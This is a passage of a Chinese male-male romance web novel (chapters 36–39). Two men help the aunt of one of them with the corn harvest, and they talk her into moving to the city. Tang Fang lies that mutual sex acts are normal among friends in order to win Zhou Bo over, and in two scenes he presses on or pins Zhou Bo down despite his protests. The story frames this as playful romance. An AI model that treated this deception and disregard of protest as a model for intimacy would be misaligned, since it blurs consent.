有时候周勃是真神奇,简简单单一句话,就能把人的情绪操控得明明白白。 “对了,你那啥,解决完没?”周勃又问。 唐放一双丹凤眼瞥着他,表情很是冷淡是个人儿都能看出来正生气呢! “有没有解决,和你有关系?” 周勃忽然笑笑,他平常笑起来就有种好说话那味儿,只是说出来的话让人觉着嘴角一抽:“当然有关系!要突然传出去,你在我家睡着睡着不行了,我多冤啊,以后娶老婆恐怕都难。” 唐放盯着周勃脸上那笑,心说,你现在知道笑了,刚才怎么不见你笑? 周勃不说,唐放只觉着有点月长,本来是等着它自然消退,现在他开口了,突然就感觉有些月长痛。 “……” “我要真不行了,我赖你一辈子!”唐放看着周勃道,他也笑笑,皮笑肉不笑,“到时候,你但凡找个对象儿,我都能给你搅黄了。” 周勃笑容凝固在脸上。 唐放可不管他想什么,他掏出自己,用手摸|摸,丝毫不在意周勃就坐在他身上,十分淡定。 要不是听他声音略微有变化,周勃都怀疑他这拿的是不是个物件? 而且,周勃看着唐放的动作,他有些不忍直视,这size是不是有点太|大了? 他自认为自己180cm就已经很不错了,这家伙,得200往上吧? 唐放瞥见他的目光,“看什么看,不是不霜吗?怎么?看别人扌鲁,你就爽了?” 周勃陷入沉默,并发出自己的灵魂疑问,“你们做兄弟的,还包括相互给对方做这事儿?” “怎么没有?”唐放这话说的毫不心虚,一边自己动手丰衣足食,忍不住的时候闷哼两声儿,说起来好像真有这事儿一样,“你知道陈牧德吧,从小一起长大,我们之前睡一起的时候,都是谁起来了,然后相互给对方弄弄。” 唐放丹凤眼一斜,嘴角勾着带着邪气:“你信不信,我扌莫他大月退他一声儿都不带吱的。” 周勃不信,主要是陈牧德给他的初印象已经定型了,那细菌生长的裤衩,他现在都还记得:“你都不嫌弃?这都能下口?” “……” 失策了,应该说其他人的。 不慌,唐放手上动作不停,“这有什么,哪个大老爷们不有点儿臭毛病,叫他提前洗干净就行了。” 说实话,哪有人亲眼见人现场直播那啥的? 周勃算是见识到了。 或许是周勃的注视,让人更加兴|奋,唐放的脸颊微微泛|红,抬起的头顶着墙壁,细长的眼尾都泛出一抹光晕,漆黑的眼珠在半睁的眼帘中斜着。 周勃咽咽口水,他知道唐放这是在看他。 他的视线并不强烈,但莫名让周勃有种羞耳止感,就像穿着比基尼女人在路上被人吹口哨似的,不对,唐放个这人看到了只会笑,他不吹口哨,只用眼神就感觉出自己好似已经被他生吞活剥。 周勃故作镇定,不知是不是开始发热的大脑影响了他的判断,竟然开始真的思考。 朋友,兄弟之间相互帮忙的普适性。 周勃聊得来的朋友有,但都不深交,像唐放这样儿还能是不是插科打诨的朋友更是一个都没有。 这或许就是书读多了的弊端,时间用在读书上,那还有时间交朋友?成年人的友谊永远只停留在社交范围,那种无聊了一个电话就能叫出来的朋友或许才更有价值。 周勃看着唐放,他还挺佩服他的,有那么多的朋友,重义气。 所以真的就和他说的那样,朋友之间,做这事儿很正常? 周勃喉咙干涩:“你确定,朋友之间,干这事儿正常?”其实,就和唐放说的那样,这事儿吧,又不是说谁谁吃亏什么的。 大家都不是女人,哪有什么吃不吃亏的。 唐放听他这话,手上动作一顿,纹着纹身的小臂青筋凸显了一丝,他强制自己恢复冷静,用十分平静的语气说:“那当然,你要不信,打个电话过去问问,陈牧德那家伙对我不敢撒谎。” 他说这话时,很是平静,只有那闪烁着微光的眼睛透出点点异样。 但,周勃没发现。 怎么说呢,他自己也不清楚,或许是对方荷|尔|蒙太盛,周勃总觉着呼吸有点急,风扇吹的风点点吹散他粘在皮肤上的汗,蒸发的汗泽带走大量热气。 明明皮肤表面已经很凉了。 周勃却觉得还是有点热,他的鼻尖再度冒汗,“算了吧,人早睡了。” 唐放心中轻哼,你就算是想打电话问,陈牧德他也没寻呼机。 “怎么样?真的不试试?”唐放紧紧盯着周勃。 周勃:“……” “我去喝口水。” 眼见人要逃,唐放怎么坐得住,伸手拉住周勃,“唉!你先回答我!” 周勃努力让自己平静下来,“不是,你干|你的去,我先去喝水,有什么事儿等会儿再说。” 这怎么就等会再说了? 唐放心里一个咯噔,眼看就要答应了,这突然去喝口水,完了理智回来了,他后边儿的幸福不就没了吗? 唐放的手跟那铁爪似的,周勃另一只手硬是没掰开,“你先说清楚,大老爷们真的墨迹干什么,这都大半夜的,喝水,晚上尿急吵醒了周姨怎么办。” “你先转过来,好歹给我个话儿。” 周勃真快要服气了,md,他也不知怎么的,事情变成了这样子,他抹了把脸,麻了。 “你先放开,我等会儿和你说。”周勃好声好气。 没生气? 唐放顿时狐疑,他另一只手也不动了,眼睛看着周勃的背影,喉结上下移动。 “……你转过来我看看。” 周勃身体僵住。 唐放乐了,连拉带拽把人拖上|床,然后瞧见了周勃的现状,他轻哼一声,丹凤眼斜着:“我说呢,这有什么不好意思。” “兄弟能帮的都帮你。” 周勃看着他就要上手,连忙捂住裤衩子,“我靠!唐放!你别乱来!” 唐放此时乐得眉眼上挑,嘴里没个门把,“怎么?做都做了,现在还装?”他还真当周勃是个和尚呢? 结果呢?这不有反应吗? “我靠,你轻点儿!” 第37章 第 37 章 周山妹正在院子里晒苞米, 农村起来的都早,7点都有点晚了。 等她干完其他事儿,把苞米推平,太阳晃悠悠的出来, 时间兜兜转转到了九点多。 平常因着太阳, 起来很早的俩人现如今全都没了动静儿。 难道是他们早上六点多就走了?周山妹在心里揣测, 不然怎么一点儿动静也没有?一定是了! 想到这儿可不行, 周山妹得赶紧去做饭了, 不然俩人得饿惨了! 农活儿都是体力活儿,不吃饱饭可没力气干活儿。 房间内,周勃唐放俩人四仰八叉的躺在床上。 转动了一晚上的风扇还在咔吃咔吃毫不停歇的工作着。 周勃是被热醒的, 他本来就怕热, 太阳出来后温度一下子飙升,没醒也给热醒了。 翻身下床, 刚踏出房门,就见周山妹快步拿着菜进厨房。 “小姑” “怎么这么早就做饭了?”周勃还有点儿没睡醒。 周山妹听见周勃的声儿, 停下脚步, 她朝房内望了两眼, 有些吃惊:“你们没去地里?” 周勃:“……”昨晚上睡得太晚,没起得来。 周山妹长舒一口气:“哎哟!我还以为你们去地里了, 想着等会儿做饭晚了你们挨饿!这会儿没去都还好!” “我去把唐放叫起来, 现在去。”周勃说, 这家伙儿昨晚上舒坦了,是时候拉起来干活儿了。 “唉唉唉!不用去, 人唐放都帮忙好几天了!好不容易休息一下, 让人孩子多睡睡啊!”周山妹连忙拉住他,怪嗔他一眼, 觉着侄子咋这么看不懂事儿啊! 周勃沉默半响,露出个笑:“这样,小姑,你先去做饭,我等会儿再叫他。” 周山妹菜还拿在手里,听这话,一拍脑袋,“给忘了饭还在锅里呢!” 她快步离开,走之前还不忘说:“别把人叫起来!让他多睡会儿!” 周勃目送小姑进了厨房,转眼进房内把唐放叫了起来。 “快起来。”周勃皮笑肉不笑,手里拿着拖鞋,“再不起来就别怪我抽你了。” 唐放一只手在床榻上摸,没摸到人,睁眼就看见周勃站在床边,下意识伸手就要把人拉过来。 没拉动。 “啪”的一声脆响把人震醒了。 “嘶!”唐放下意识一手捂住自己的屁|股,猛得看向周勃。 周勃看了眼手里的拖鞋,又看看唐放的紧俏的屁|股,若有所思,弹性挺好,他笑笑,面对懵逼的唐放说:“该起床了。” “没办法,谁叫你怎么都不起。” “……” 唐放看着周勃脸上那笑,眯眯眼睛,忽然朝着门外开口,喊了声儿:“周姨!” 周勃脸色一变,扔掉手里那拖鞋,上去就要捂他嘴,语气中带着威胁。 “你喊什么喊!我小姑还在睡觉!” 唐放看了眼窗外明亮的天色,就差把不信写眼里了,不过看着周勃着急的样子,他笑眼弯弯,一双丹凤眼细长,眼尾带着点点戏谑。 等到周勃放开他的手,唐放才懒洋洋坐起身,“撒谎也不撒个实在的,周姨能是这么晚才起的人?” 他扬扬下巴,示意周勃看窗外透亮的天色。 太阳老早上班了,院子里的苞米粒大半陷入阳光中暴晒。 从窗外看过去,一片金灿灿。 院子另一边儿和堂屋,还有一大堆没脱粒的苞米。 等到唐放洗漱好,周勃塞给他个凳子坐,还有个旧鞋底儿,还是刚才打他那个,“没事儿做,搓苞米。” 或许是昨天得逞,唐放如今心情异常好,周勃让干什么干什么,他说搓苞米,他二话不说,拿起几根苞米开始搓,搓得异常起劲儿。 几乎是一分钟一个,周山妹还在厨房忙活儿,唐放就给搓完了一箩筐,此时周勃那筐还有一半。 唐放又把周勃那筐拖过来,三下五除二,等到周山妹做好饭,俩人又刚好搓完一筐。 “吃饭了!周勃,你快把唐放叫起来!” 厨房里,周山妹的声音传出来。 原来是这样儿,唐放有点儿明白周勃刚才捂他嘴是什么想法了。 周勃十分淡定,“去洗手吧,吃饭了。” 唐放乖乖跟在他身后去洗手,洗完了,又慢悠悠跟着他走到厕所。 “……” 周勃怀疑这人儿脑子是不是出问题了,他笑着的嘴角抽抽,意有所指:“我去上厕所。” 你大爷的不会还要跟进去吧! 他家就一个坑儿。 唐放一顿,挺直的背松缓,他看了眼天,“我在外边儿等你。” 周勃:“……” …… 吃完饭,周勃带着唐放出门了,周山妹才注意到堂屋里的苞米都给她搓完了,一粒粒苞米粒还有着点儿水分,得晒。 想都不用想,她侄子从小到大没做过多少农活儿,哪能搓得这么快? 周山妹笑容满面,也不知道唐放以后会娶个啥样儿的老婆,要是找不到,她倒是能给介绍介绍。 像唐放这样儿的孩子,到哪儿不是香饽饽。 周勃和唐放又来到了苞米地,这片儿地经过前两天勤勤恳恳的开发,如今还剩下三分之二左右,差不多是四天的量。 其实,从这时候,周勃就可以考虑怎么把小姑带去海城了。 说到底,这些苞米想要带去海城,难。 但这是小姑的心血,他没有资格指手画脚,曾经她也是这样,整日辛苦劳碌,一步一个脚印,靠着这些农活儿,把他送上学校。 “唐放,你说,我要是让小姑和我去海城,她愿意去吗?” 周勃停下手中动作,突然开口。 唐放抹了把汗水,汗水浸|湿他的睫毛,在太阳下,他只能尽量眯着眼睛,勉强看清周勃的脸。 “为什么这么说?” “周姨她肯定不想去海城。” 周勃点点头,“确实,小姑要是想去,之前早就答应了。” 唐放瞥了他眼,“不过,她适合去海城。” “……怎么说?” “没人喜欢一个人。”唐放平静道。 周勃当然知道这个道理,就像他觉得海城太大了,小姑自然也会觉得,家里太大了。 “你有什么办法?”周勃需要听听别人的想法。 唐放看着那张认真的脸,他舔舔嘴唇,移开视线,手上动作不停,“这事儿,说简单简单,说难也难。” “简单的很简单,把周姨灌倒了直接往海城一送,那就解决了。” 这就和把大象装进冰箱只需三步一样离谱。 周勃:“……难的呢?” “难的,那就是说服她了,找个理由说服她,她就去了。”唐放说。 周勃继续问:“什么理由?” 唐放抬头,看着周勃,笑了,笑得吊儿郎当,细长的眼睛像是夜晚湖里的星星,深邃又带着点儿不可说的意味:“理由很好找,比如你病了,需要人陪着去海城,或者你在海城有了什么难解决的事,让周姨过去帮你,只要你说,周姨肯定会过去的。” 周勃皱眉,这种办法,固然能把小姑带到海城,但始终不是长久之计,他摇摇头。 况且他也不想小姑担惊受怕。 唐放说:“你要知道,这些所有的让周姨过去的事儿,核心只有一个。” 周勃看着他。 “那就是你。” 其实,唐放还挺羡慕周勃的,因为周姨很爱的,这种爱表现在方方面面,或许它有时候带着刺,但这种刺扎到人的时候也会扎到自己,他羡慕周勃有这么个爱他的小姑。 同时也庆幸他有这么个小姑,不然,他遇到的,还会是这么个人吗? 到了下午三点多,摘好的苞米被唐放和周勃一筐一筐送回家。 他俩负责摘苞米送苞米,周山妹就在家里搓苞米,晒苞米。 见两人开始送苞米回来,周山妹连忙坐起身帮忙卸苞米,完了等人去苞米地,她开始准备晚饭了。 一天就这样在这样的忙碌中度过。 吃完饭把自家空调搬过来唐放,此刻终于舒舒服服躺在床上了。 干了一天活儿,好不容易吃饱饭闲下来,唐放眯着眼睛,很是惬意,一只手慢悠悠向身旁摸过去。 首先是对方的手,周勃很少做农活,手上没茧子,一只手摸起来手感很舒适,骨节分明,手心温热,这时候特乖巧,唐放捏了许久也没见周勃反驳。 给他胆子喂大了。 唐放的手忍不住又朝对方伸过去一点儿,指腹碰到了对方的腰。 一瞬间,唐放脑海中浮现出这腰的触感,皮肤紧致,腰肢劲瘦,还有男人特有的感觉,肌肉线条流畅而唯美。 唐放手停留了半天,心中很是满足,又有点儿纳闷。 周勃这怎么没反应? 以往不都把他手拍开,再不济也会用那小眼神横他两眼。 然后他再犯,周勃再给他两眼。 怎么这次,周勃一点儿反应都没有? 唐放侧过头,他看到了周勃的侧脸,这人不知道想什么呢,正皱着眉,盯着天花板愣神。 唐放顺着他的视线看向天花板,想看看这人把天花板盯出个洞没。 天花板是木头,刷着油漆,也没见有个吸引人的洞出现。 手在周勃面前挥了挥,唐放嘴角抽抽,这到底是在想什么啊,这事儿比他的手更吸引人? “别看了?你再盯这天花板,也想不出个东西。”唐放一只手撑着脑袋,眯着眼睛淡淡道。 周勃这时候回神了,他扫了唐放一眼,“你又不知道我在想什么。” 唐放心说,我还用猜吗?你白天也就那事儿问过我,除了你小姑,还能有谁? 除了你小姑,还有能霸占我位置人? “是周姨吧。”唐放淡淡道。 周勃一惊,没想到唐放还真知道自己在想什么,“你怎么知道?” 唐放轻哼两句:“也就她了,不然有我在,还能把你注意力给分走?” 周勃:“……”拳头硬了。 见周勃面儿上那川字还没消失,唐放知道要不把他这问题解决,今晚上能不能睡个好觉都另说。 想了想,唐放开口了:“周勃,你是不是把周姨想的太脆弱了?” 周勃眉头紧锁,“你在说什么?” “我只是觉得,你把周姨想的太过脆弱了,”唐放平静道,他语气平静,说出的话却尽显锋利,“我虽然没有你学历高,没你有钱,但我自认为,我看人很准。” “我不知道是什么给了你那样的错觉,你害怕周姨累着,说我们没吃饭吃面,你怕周姨累着,然后回来帮她摘苞米,你甚至怕周姨受不了,在知道李丽华的事后,也没有第一时间告诉她,你怕周姨生气,你几乎从来没反驳过她。” 这话说的,难道他还有错了? 周勃眉头锁得更紧了,语气带着冷:“她是我小姑,我心疼她,不行吗?” 唐放听出他语气中带着点儿怒,想了想,他眉眼放缓,“我的意思是,你心疼她没错,但是你不要太心疼她,她没有这么脆弱,周姨和我说过你们以前的事,她每次说起以前背着你去县城看病都是满脸自豪。” “她很坚强,她能够一个人独自把你抚养长大,已经证明了这一点,你是不是在海城时候也总是报喜不报忧,你有没有想过。” “周姨或许是真的怕走出自己的舒适圈,但她不肯去海城,也有你的一部分原因呢?” “你在海城过得那么好,她怎么忍心过来拖累你呢?” 前面儿的话周勃都懂,唯独最后一句,就像是一把尖刀一头扎进周勃心脏,他的脑海中反复回荡着这句话。 他知道小姑不肯过来,肯定有怕拖累他的原因,所以他更加努力的赚钱,和她述说着自己过得多么多么好,却从来没想过,自己从来只说好,或许也是一种压力? 不是,他在海城过得不好,所以我不能去拖累他? 而是,他在海城过的好,所以我不能去拖累他? 周勃的表情很是奇怪,又觉得讽刺,像是想说什么,话到了嘴边,又沉默下去。 唐放继续说:“不信的话,你可以试试,把自己在海城的感受说出来,你看看周姨会不会答应你去海城。” “有时候,把话说出来,你现在只是个刚成年几年的小孩子,很多经验,都需要有经验的成年人帮你。” 周勃一时语塞,他难以理解唐放的话,他不敢想象这要是真的,会怎么样。 那不就是说,他上辈子为了小姑来海城做的努力,不都是个笑话吗? 周勃心中有点堵,如同吃了黄连一般,嘴里泛起苦味。 他抿着唇,半响没说话。 唐放却好似看出了他的难受,伸出自己肩膀,眉眼上挑,轻挑又淡然,“来,要难受,放哥的肩膀给你用用。” 周勃被他这厚脸皮的话气笑了,这一打岔,刚才聚起的情绪消散了些。 捏紧拳头,给唐放肩膀狠狠来了一拳。 “……艹!” 唐放不声不响,硬生生抗住了周勃这带着气的一拳,好似不痛不痒,他嘴角勾起。 “怎么样,不气了吧?” 第38章 第 38 章 就像唐放说的, 周勃第二天找了个时间和周山妹谈话。 不管怎么样,总要试试,如果真成了呢。 周勃先开口说:“小姑,等这边苞米弄完, 你就和我们去海城吧。” 他笑笑:“你之前不是自己都说了嘛, 说我要是在海城买了房子, 就过去。” “正好, 我在我们公司附近, 买了套房,足够我们生活了!” 周山妹狐疑的看着周勃:“你真买了?” 周勃摸摸鼻尖,“那当然, 我会骗你?” 周山妹还是不信, “哪能啊,你不是才在县里把房子买了吗?我都才把里面打扫好, 还没找到租客呢!” 周勃不和她争,他还是重复自己的诉求, 之前不就约定好了吗?要一起去海城生活的, 你可不能反悔。 事实证明, 周勃很了解他小姑。 周山妹为难道:“海城,那太远了, 再说, 家里还有地和鸡鸭呢, 我要是去了,它们可怎么办?” 你要是真想去, 家畜总能处理的。 周勃知道没那么容易说服她, 他酝酿情绪,喉咙泛起苦味儿, 表情带上点难以察觉的沉重。 这一个表情,给周山妹镇住了,她说话结结巴巴,“这、这是怎么了?是在海城那儿遇到困难了?” 周勃不说话,只是静静的看着她,眼尾泛出点点红。 周山妹更急了,你说说,这孩子,怎么就不说话呢! “到底是出什么事了!你先说出来,有姑在这儿,姑给你兜底!你先说出来啊!” 周山妹急得团团转,不是她多想,她太了解自己这个侄子了,从小到大,从来没让她操过多少心!也就是在李丽华那个贝戋人那摔过一跤,其他的也没了! 能露出这样的表情,周山妹脑海中顿时想起了村里儿的传言,某某某被骗进传销了,骗了多少钱什么什么的。 “你!不会是进传销了吧!”周山妹脸色一变。 周勃听见小姑这么说,忍不住笑了下,很快又收起笑意:“没有,怎么可能。” “那是怎么回事”周山妹松了口气。 周勃半垂眼帘,“小姑,你一个人,在村里儿,觉得孤独吗?” “……怎么突然问这个?”周山妹不懂什么孤独不孤独,农村生活儿的人,哪有那么多闲工夫思考这些,她只是有时候回家,觉得家里空唠唠的,没有人气。 周勃笑得有点苦,好像他已经好久没这样和小姑说话了,他善于伪装自己的情绪,很少让小姑担心。 “可是我有点孤单。”一记直球。 周山妹嘴唇喏动半天,没说出句话来。 周勃却趁着这个机会,把这么些年来自己的经历和感受全说了出来。 从他对海城的初印象,到一个人在海城打拼,建立公司的辛苦,夜晚的孤独,他没有朋友,唯一能说上话的人就是从小相依为命长大的小姑,但是小姑她太远了。 他有过工作完了回到家却不知道干什么的茫然,走过一个人大半夜发烧苦苦的支撑。 这座城市太大了,它是新生,新生中却包含着太多人在他乡对故乡的怀念。 周山妹越听越是沉默,嘴巴张张合合好多次,最终一言不发。 她是不是做错了,本以为自己不过去,就不会拖累他,一个公司的老板,姑姑却是个农村的跛子,多让人好笑啊。 现在周山妹却觉得,跛子又怎么样,孩子在外面觉得孤独了,能不去吗? 房间外,唐放抱着手靠在墙上,他静静的听着周勃的声音,从他的述说中,他仿佛能看到几年前一个人在海城飘荡的年轻人。 他抱着期待也抱着畏惧,他热爱这个城市,夜晚也感受着城市的孤独。 他就是这样,一路带着执念走过来。 听着周勃的声音,唐放心中有点儿佩服的同时,不由得升起了丝丝对他的心疼,他觉着还不如昨天让周勃打两下子,也比他这样说话让人心疼的强。 就是这样一个人,怎么会有人舍得让他孤独? 要是他,不得天天黏着,生怕人给跑了! 唐放听不下去了,他走到堂屋的一角,拉开椅子坐下,从裤兜里摸出根烟,开始吞云吐雾。 这几天跟着周勃,都忘了身上还有烟,唐放目光放在半空中。 都说尼古丁的味道让人着迷,不少人都戒不了,他却觉着很好戒,因为有个比烟更让人着迷的人在你身边晃悠。 让你时时刻刻都忍不住不去想他。 唐放觉着自己,怕是完蛋了。 手中的烟吸到一半,被唐放摁灭,扔进垃圾桶。 …… 周勃出来时候,就见到唐放正仰坐在椅子上,目光看着虚空,不知道在想什么。 等他走过去,那双眼睛才开始聚焦。 “完事儿了?” “嗯。”周勃点点头。 看着人脸上的笑,唐放知道这事儿是成了,他不自觉嘴角微微上扬,“对了,周姨呢?” 周勃拉住他:“我姑在房间里,我们先走吧。” “行。”唐放一顿,顺着周勃的手,跟着人出门了。 今天的任务还没完成呢。 唐放边走边和周勃唠嗑,他看着被太阳晒得滚烫的路面,“对了,如果周姨真要去海城,你们家这苞米还用摘吗?” “当然要。”周勃回答得斩钉截铁。 这苞米可是小姑之前辛辛苦苦种下去的,怎么能让它烂到地里? 要真这样儿做了,只怕过年时候村里的谈资就有他们一份儿,多败家啊,让粮食硬生生烂在地里。 “这苞米,我姑有安排。”周勃擦擦汗水,光是走过来,就让人皮肤晒得疼。 “什么安排?” “到时候把苞米打成面儿,她把苞米面做成苞米粑,带一部分去海城,剩下的送村里儿的人,我姑说村里儿的人挺好,都是互帮互助的。”周勃这时候脸上笑着,一口一个我姑。 唐放点点头,没说话了。 俩人三下五除二,干活儿熟能生巧,周勃心情好,效率也高起来。 效率更高的是唐放,这人儿就是闷声干活儿的典型,还时不时让周勃去休息,自己那苞米一片儿一片儿的收割。 一整天,直到黄昏,太阳即将落山,一整片苞米地,只剩下一小片还在负隅顽抗。 周山妹给他们俩送饭时候都惊呆了,“你们这么快!” 唐放打开水壶,咕噜咕噜灌水。 “快点儿也早点儿收工。”周勃笑笑说道。 吃完饭,留下手电筒,剩下这一点儿苞米,周勃和唐放打算加班把它们给撅了。 把周山妹撵了回去。 趁着太阳剩点儿的余晖,俩人加快速度。 等到太阳终于下山,月亮在黑夜中缓缓现身,周勃看着光秃秃只剩下苞米梗的地面,长长叹口气,也不管什么脏不脏了,躺倒在苞米梗铺满的土地面儿上。 唐放把镰刀踢到一旁,别到时候被这人碰到。 他轻轻踢踢周勃小腿,“躺过去点儿。” 周勃屁|股,给他让出点儿位置。 唐放也累了,任谁这么顶着大太阳干了一整天,都累。 两只手枕在头下,唐放挨着周勃躺下了,身|下是苞米杆堆,比地面可软多了。 没了整片苞米的阻挡,夜风悄咪|咪吹进来,吹干了俩人身上的汗,又做贼似的顺走了热气。 周勃双手摊开,风吹得他很是舒服,趁着晚上,地里只剩下一旁树梢上偷|窥的蝉鸣,他掀起腹部的衣服,想让风再给它吹吹。 摊开的手横在唐放胸前,和皮肤接触的地方,很是滚烫。 唐放眼睛下移,就看到了周勃撸起袖子的一截小臂,在月光中透出种白。 而更让他眼皮一跳的是,余光中那片白。 唐放眯起眼睛,看过去。 周勃把他的衣服上撩,露|出一片显眼的腹肌。 唐放觉着自身开始燥热起来,他猛地坐起身儿,看向躺着的周勃。 好家伙,躺着没发现,现在坐起来了,他看得清楚了。 月光下,这人前边儿的衣服被他越拉越高,在衣服边儿,一抹红色若影若现。 唐放咽了咽口水,想让自己移开视线,但不知道怎么的,目光就是挪不走,他死死的盯着那边缘儿的一点红。 被风吹走的热意又仿佛向他席卷而来,细细密密的热,让唐放鼻尖儿冒出汗。 周勃是被这夜风吹舒服了。 休息好了,他看向坐起来的唐放,他的背部很宽,只从背部的轮廓就能看出这人的好身材,倒三角的肩部肌肉很有男人味儿。 周勃看他坐了半天,有点疑惑儿:“不再躺躺。” 唐放没说话,过了半响,他的声音传过来,低沉中带着沙|哑,“……等会儿再躺。” 周勃闻见了铁锈味儿,他眉头一皱,“我怎么闻见儿了血味儿。” 周勃坐起身,顺着血腥味儿看过去,只见唐放正一脸镇定的捏着鼻子,一双丹凤眼看天看地就是不看他。 一点儿猩红落在唐放身前的苞米杆上,那颜色,和周围显然不同。 “……你来月经了?”周勃目露调侃。 “……” 唐放面色不改,没看他,说话带着鼻音,“上火。” 周勃不信,他意有所指,笑眯眯道:“你这儿也上火?” 唐放感觉鼻血不流了,松开手,拿过水壶洗了洗手和鼻子,他脸皮厚,被周勃这么看着也无所谓,说起谎话一点儿不脸红。 “脑子上火了,那不就跟着一起了吗!” 周勃点点头,好像接受了这个理由,“也是啊,那我先走了,你先在这里缓缓。” 说着,周勃作势就要起身。 唐放哪能儿让人走,手拉着周勃的手腕。 “怎么了?”周勃挑眉。 唐放见他一点儿不着急,还有点逗弄他的意味,眯着眼睛,知道周勃今儿的心情是真的好,他心中痒|痒,说出的话也不自觉软了。 一双丹凤眼此时看着,竟没了平时的嚣张和吊儿郎当,看着还挺可爱,周勃心里好笑。 “互帮互助。” 唐放想的没错,周勃如今的心情是真的好,昨天唐放的话让他醍醐灌顶,说不感激是假的。 所以在发现之后,他才会这么淡定,一半是之前就帮过,一半也是想帮他。 唐放看着周勃没拒绝,知道这事儿是成了,只是,看着对方不急不缓,自己却是相反,不知怎的,就觉着有点儿不得劲儿。 也不能他一个人上头啊,多没面子。 唐放半眯着眼睛,良久,他突然露|出个笑,拉着周勃的手,翻|身就把人扑|倒在地,周勃瞳孔一缩,还没反应过来。 唐放这人儿,心里想什么,很快表现在他的动作上。 给周勃在嘴边做了个带着暗示的ok动作,唐放下手了。 周勃一见那动作,那能不知道怎么回事儿,他脸色一变,就要推开唐放,“艹!你tm不嫌脏啊!” 这和之前可不一样!手上帮助还说得过去,哪个兄弟愿意这么牺牲啊! 见周勃急了,唐放轻哼两句,目露不屑,他手上动作大,把周勃压得死死的,“放心,我都不嫌弃你,你嫌弃什么!” 周勃大惊失色,就tm是你不嫌弃,才更让人恐怖啊! 第39章 第 39 章 周勃陷入沉思。 他真的怀疑, 唐放这家伙儿,是不是有姓瘾,不然怎么整天都这么饥|渴。 更让他心中发慌的是,这人儿, 竟然乐意给他口! 早知道, 多少姑娘都不愿意, 嫌脏的事儿, 他知道大男人竟然乐意! 月光撒在土地面儿上, 路旁的草儿舒展着身躯偷|窥着这对儿刚完事儿走路回去的人儿。 “……唐放,你。”周勃刚开了口,问题像是卡在喉咙里, 半天都没说出来。 唐放看向他, “” 周勃把话憋回去,“没什么。” 走到半路, 周勃又道:“……你。” 唐放:“” “没什么。” 看不下去周勃那犹犹豫豫的样儿,唐放说:“有事儿快说, 别磨磨唧唧的。” 周勃皱着眉, 伸出手:“给我支烟。” 唐放摸了摸口袋, 从兜里掏出烟盒,递给他一支。 打火机的火光闪过, 白烟模糊了周勃的脸, 他酝酿半天的情绪得到缓解, 终于把喉咙里的话问出口。 “唐放,你是不是对女人石更不起来了啊?” 周勃想了想, 眉头紧皱, “如果真不行,别忍着不去看医生, 讳疾忌医不是个好习惯,这事儿总得要跨过去。” 唐放:“……” “不是?谁给你说,我对女人石更不起来的!”唐放纳闷,他嘴角抽抽,瞥了周勃一眼,皮笑肉不笑:“怎么,给你伺|候舒服了,完了开始来找茬了?” “……” “我都还没怪你,对男人也石更得起来呢!” 周勃十分无语,“不是,就你那样,谁要还没反应,那不得真看医生去了!” “我哪样?” “……” 唐放眉眼轻轻挑着,他缓缓靠近周勃,给人吓得手一抖,燃到一半的烟抖落到地上,周勃眼皮一跳,冷静道:“凑这么近干什么,离远点儿,前边儿的路看不到了。” 这人没动静儿,周勃迈开步子,又给拉开了距离。 他话没说错,这路窄,唐放本就挺高大一人,凑近了真把前边儿的光线遮得严严实实。 本来手电筒好久没充电了,光线萎靡不振。 走到大路,路宽了,唐放走近,他的声音听着十分淡定,说出来的话却让周勃忍不住咽咽口水。 他甚至都能想到,唐放这人此时看着他的表情,斜着的丹凤眼很能凸显他那不明意味的话。 “怎么样?我的技术?” 周勃咽咽口水,一股热气顺着血管缓缓奔流,想从皮肤找到发散的口儿,他听见自己很平静的声音。 “不怎么样。” 此话一出,唐放半响儿没说话,周勃以为这人终于消停了,不发马蚤了。 就听他又说话了。 “……呵,小骗子。” 周勃被他这句话说得牙疼,忍不住用手电筒照过去。 手电筒的光很暗,但能让周勃看清楚这人儿的脸和表情,这人脸上那吊儿郎当的轻笑还没收回去呢! 猝不及防的光照,让唐放下意识闭上眼。 周勃眼中还留着唐放的笑,脑海中那三个字的小骗子声声回荡,不由自主得打了个激灵儿,爆了粗口:“艹!” “你别这么说话,真让人受不了。” 唐放睁开眼睛,声音很是无辜,“什么说话?小骗子?” “……” 周勃也不知道怎么的,感觉对这三个字有毒一样,说一次,他起一次鸡皮疙瘩。 他的沉默助长了唐放的嚣张,这人勾着他的肩,左一句小骗子,右一句小骗子叫得不亦乐乎。 没忍住,周勃给他屁|股上来上一脚。 唐放没防住,踉跄两步后才站稳身体,他嘴角抽抽,“不是,这三个字儿摸你屁|股了,反应这么大?” 周勃回他:“听得人烦。” “……这样,你老实回答我个问题,我就不说了。” “什么问题?说来听听。” 唐放走到周勃身边儿,他状似不经意的问,“你还记得李丽华没?” 周勃奇怪的看他一眼,乌漆麻黑的,他什么也没看见,收回视线平静道:“记得,怎么了?” 唐放舔舔嘴唇,他喉咙发紧:“你和她离婚,后悔吗?” 他原本想问的是,他和李丽华,谁技术好些儿,用来调侃他的,但比起这种毫无营养的话,他现在更想知道这个。 况且,他老早就知道了,周勃和李丽华根本没睡过。 而那天他喝醉后念着李丽华的名字始终让唐放忘不掉,这就像根刺,时不时随着李丽华名字的出现给他手指扎上一下。 不是很疼,但让人烦。 周勃奇怪:“你问这个干什么?” “好奇,你不是喜欢她才结的婚吗?”唐放听见自己这样说,“不会到现在,你还喜欢她吧?” “谁告诉你我是因为喜欢才和她结的婚?”周勃一噎。 “……不是吗?” “那是觉得合适,刚好到了要结婚的年龄,我姑又催的紧!”周勃耐心解释,“再说了,你觉着我看着像那种冤大头吗?” “人给我带了顶儿绿帽儿,我还傻乎乎的准备原谅她,追回她??” 唐放听着这话,不知道咋的,越听越觉着周勃那声音舒心,嘴角压都压不下去。 “也是,要我我也受不了。”唐放笑着附和,“你不是冤大头,你顶多是个傻子。” “完了结婚才发现不对劲儿。” 周勃:“……” 俩人回到家,正好碰上住隔壁的大娘离开,她看见周勃俩人,笑着打招呼:“周勃啊,你们回来了。” 周勃笑着回答:“回来了回来了,大娘你不再坐坐?” “不了不了!也要回家洗澡睡觉了!” 告别大娘,俩人进院子。 周山妹还在搓苞米呢,她身边儿还有个椅子,估摸着是刚才大娘的。俩人一边唠嗑,一边儿搓苞米。 周山妹见两人回来,拉着他们道:“你们回来时候有碰到什么人吗?” 周勃摇头。 “怎么了?”唐放问。 “你们要是碰到了,唉不,幸好是没碰到!”周山妹说的咬牙切齿,“你说说,村里咋有这么不知廉耻的人!” “大晚上的,在苞米地里干那啥子事!也不嫌丢人!要是让我碰到,非得给人抓出来,在村里好好说道说道!” 周勃:“……” 唐放:“……” 